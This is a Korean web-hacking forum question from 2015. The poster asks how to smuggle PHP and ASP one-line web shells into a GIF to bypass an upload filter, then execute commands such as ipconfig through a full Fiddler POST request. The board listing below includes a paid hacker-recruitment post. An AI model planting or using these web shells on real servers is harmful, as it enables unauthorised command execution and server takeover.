214, 9/11 회원가입  로그인  
   stoopynice
   웹쉘 관련 질문있습니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=209 [복사]


그 파일 업로드 우회해서 (gif 파일에 아래 코드를 넣어서)
<%execute(request("cmd"))%>
<?php eval($_POST[cmd]);?>
페이지에 삽입한다음에 ipconfig같은 명령을 실험해보고 싶은데
(위에 코드가 cmd 불러와서 cmd 명령하는거죠?)
피들러에 composer 탭에 아래 내용 보내면 되나요??
POST http://\\\\/index.php?***.gif
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: ***/index.php
WS=110&CCODE=000101
Accept-Language: ko-KR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
DNT: 1
Host: ***
Cookie: PHPSESSID=h6ddjfsn45r1sqc9tvg2p6pje0
Content-Length: 9
cmd=ipconfig;

요런식으로 execute해서 테스트하면되나요?
  Hit : 4692     Date : 2015/07/26 12:22


    
54   파로스 깔아서 실행시켰는데 왜이러죠?(사진有)[1]     ygh159
 07/13 4314
53   웹해킹의과정[3]     가면속의미소
 04/28 4315
52   해커 모집.사이트당 600만원 지급, 타겟 24곳, 은행 및 기관 아님.[4]     bestloan
 01/06 4321
51   wpe같은 프로그램의 원리를 이해하려면..[1]     attainer
 11/01 4352
50   안녕하세요 이번에 안드로이드 sql서버를 구축하게 되었는데요..[2]     까뭄다르끼
 07/18 4359
49   웹해킹,보안/해킹 을 배우려면...[1]     kn0ck
 01/14 4383
48   webhacking.kr 33-4번문제 질문입니다.[3]     hygasyde
 03/26 4463
47   웹해킹을 해보고싶습니다.[2]     real_khy
 09/01 4470
46   웹해킹을 어떻게 하는지 모르겠습니다[4]     rappit
 02/14 4506
45   안녕하세요. webgoat에 관해서 질문 드릴려구요.[2]     GaOnNuRI
 07/05 4507
44   sql injection 실습 하려는데요 ...ㅠㅠ[1]     wjscjfalsWkd1
 06/20 4514
43   webhacking.kr 30번 도움좀 주실분...[1]     kumi123
 07/30 4540
42   제가 웹해킹을 배우려하는데요.     cjy559510
 12/02 4561
41     [re] 제가 웹해킹을 배우려하는데요.[2]     cjy559510
 12/02 4633
40   이미지안에 리다이렉트 소스(악용목적X)[2]     tjdgus1515
 12/06 4640
39   header와 body가 구분되어 있는 이유?[4]     ka0r1
 04/12 4675
  웹쉘 관련 질문있습니다.     stoopynice
 07/26 4691
37   웹해킹 공부순서를 알려주세요..[2]     nooooooob
 02/28 4714
36   로그인 페이지 구현중 header 함수의 의미[2]     ka0r1
 04/10 4737
35   XSS 해킹 질문[3]     test11
 03/07 4744
[1][2][3][4][5][6][7][8] 9 [10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org